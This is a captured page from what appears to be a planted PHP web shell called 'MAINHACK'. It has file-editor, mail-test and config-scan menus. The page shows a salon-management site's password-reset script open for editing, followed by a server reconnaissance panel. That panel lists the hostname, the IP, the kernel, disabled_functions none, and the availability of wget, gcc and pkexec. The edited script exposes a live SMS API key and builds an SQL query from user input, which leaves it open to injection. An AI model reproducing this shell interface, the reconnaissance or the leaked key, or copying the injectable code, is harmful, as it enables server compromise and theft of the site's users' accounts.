[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: reset-passwordold.php
<?php include("functions.php"); $res = ""; if($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['submit'])){ if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $res = "<p class='alert alert-danger text-center ' role='alert'>Sorry, Token Authentication invalid.</p>"; } else { $code = sql_prep($_POST['code']); $code = dirty_html($code); $code = h($code); $phone = sql_prep($_POST['phone']); $phone = dirty_html($phone); $phone = h($phone); $randomString = generateRandomString(5); // Change the length as needed $finalnumber = $code.''.$phone; $sms_message = "Your new password is $randomString. Please do not share your code"; $sql = "SELECT * FROM barber_admin WHERE phone = '$phone'"; $result = mysqli_query($new, $sql); if (mysqli_num_rows($result) > 0) { //$reset_token = time() . md5($email); $stmt_update_service = $con->prepare("UPDATE barber_admin SET reset_token = ? WHERE phone = ?"); $stmt_update_service->execute(array($randomString,$phone)); $_SESSION['reset_code'] = $randomString; $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => 'https://sms.arkesel.com/api/v2/sms/send', CURLOPT_HTTPHEADER => ['api-key: Y1B1a1VaYXBEc3lDVnFCZnZxam8'], CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => http_build_query([ 'sender' => 'SalonFriend', 'message' => $sms_message, 'recipients' => [$finalnumber] ]), ]); $response = curl_exec($curl); curl_close($curl); if($response == true){ header("Location : code-verity"); } } else { $res = "<p class='alert alert-danger text-center ' role='alert'>Sorry, your phone number do not exist or wrong</p>"; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required Meta Tags Always Come First --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Title --> <title>Reset Password | The Salon Friend</title> <!-- Favicon --> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <!-- Font --> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet"> <!-- CSS Implementing Plugins --> <link rel="stylesheet" href="assets/vendor/bootstrap-icons/font/bootstrap-icons.css"> <!-- CSS Unify Template --> <link rel="stylesheet" href="assets/css/theme.min.css"> </head> <body class="d-flex align-items-center min-h-100 bg-dark"> <!-- ========== MAIN CONTENT ========== --> <main id="content" role="main" class="flex-grow-1 overflow-hidden"> <!-- Content --> <div class="container content-space-t-1 content-space-t-lg-0 content-space-b-2 content-space-b-lg-0"> <div class="mx-lg-auto" style="max-width: 55rem;"> <div class="d-flex justify-content-center align-items-center flex-column min-vh-lg-100"> <!-- ========== HEADER ========== --> <header id="header" class="navbar navbar-height navbar-light mb-3"> <div class="container"> <!-- <a class="navbar-brand mx-auto" href="index.html" aria-label="Unify"> <img class="navbar-brand-logo" src="assets/svg/logos/logo-white.svg" alt="Image Description"> </a> --> </div> </header> <!-- ========== END HEADER ========== --> <div class="position-relative"> <!-- Card --> <div class="card card-shadow card-login"> <div class="row"> <div class="col-md-7"> <div class="card-body"> <!-- Form --> <form method="POST"> <?php echo csrf_token_tag(); ?> <div class="text-center"> <div class="mb-5"> <h3 class="card-title">Forgot password?</h3> <p style="color:red">Please select your country and enter your phone number to reset your password..</p> </div> <?php echo $res;?> </div> <!-- Form --> <div class="mb-4"> <div class="row"> <div class="col-sm-6"> <label class="form-label">Select Country Code</label> <select class="form-control" name="code" required> <option value=""> Select</option> <?php $so = mysqli_query($new,"SELECT * FROM countries "); while($fetch = mysqli_fetch_array($so)){ ?> <option value="<?php echo $fetch['dial'];?>"> <?php echo $fetch['name'];?> - <?php echo $fetch['dial'];?></option> <?php }?> </select> </div> <div class="col-sm-6"> <div class="mb-8"> <label class="form-label">Enter phone number</label> <input type="number" class="form-control form-control-lg" name="phone" id="resetPasswordSrEmail" tabindex="1" required> </div> </div> </div> </div> <!-- End Form --> <div class="d-grid gap-4"> <button type="submit" name="submit" class="btn btn-primary btn-lg">Reset password</button> <p class="card-text text-muted">Remember your password? <a class="link" href="index">Log in</a></p> </div> </form> <!-- End Form --> </div> </div> <!-- End Col --> <div class="col-md-5 d-md-flex justify-content-center flex-column bg-soft-primary p-8 p-md-5" style="background-image: url(assets/svg/components/wave-pattern.svg);"> <h5 class="mb-4">The easiest way to manage your Salon and Spa:</h5> <!-- List Checked --> <ul class="list-checked list-checked-primary list-py-2"> <li class="list-checked-item">Maintain Customer/Staff records</li> <li class="list-checked-item">Generate customized reports</li> <li class="list-checked-item">Calculate staff commissions and many more advanced features</li> <li class="list-checked-item">Run staff payroll with ease</li> </ul> <!-- End List Checked --> <span class="d-block"> <a class="link link-pointer" href="#">Learn more</a> </span> </div> <!-- End Col --> </div> <!-- End Row --> </div> <!-- End Card --> <!-- SVG Shape --> <figure class="position-absolute top-0 end-0 zi-n1 d-none d-sm-block mt-n7 me-n10" style="width: 4rem;"> <img class="img-fluid" src="assets/svg/components/pointer-up.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> <!-- SVG Shape --> <figure class="position-absolute bottom-0 start-0 d-none d-sm-block ms-n10 mb-n10" style="width: 15rem;"> <img class="img-fluid" src="assets/svg/components/curved-shape.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> </div> </div> </div> </div> <!-- End Content --> </main> <!-- ========== END MAIN CONTENT ========== --> <!-- JS Global Compulsory --> <script src="assets/vendor/bootstrap/dist/js/bootstrap.bundle.min.js"></script> <!-- JS Implementing Plugins --> <!-- JS Unify --> <script src="assets/js/theme.min.js"></script> <script> $(document).ready(function () { window.setTimeout(function() { $(".alert").fadeTo(1000, 0).slideUp(1000, function(){ $(this).remove(); }); }, 2500); }); </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002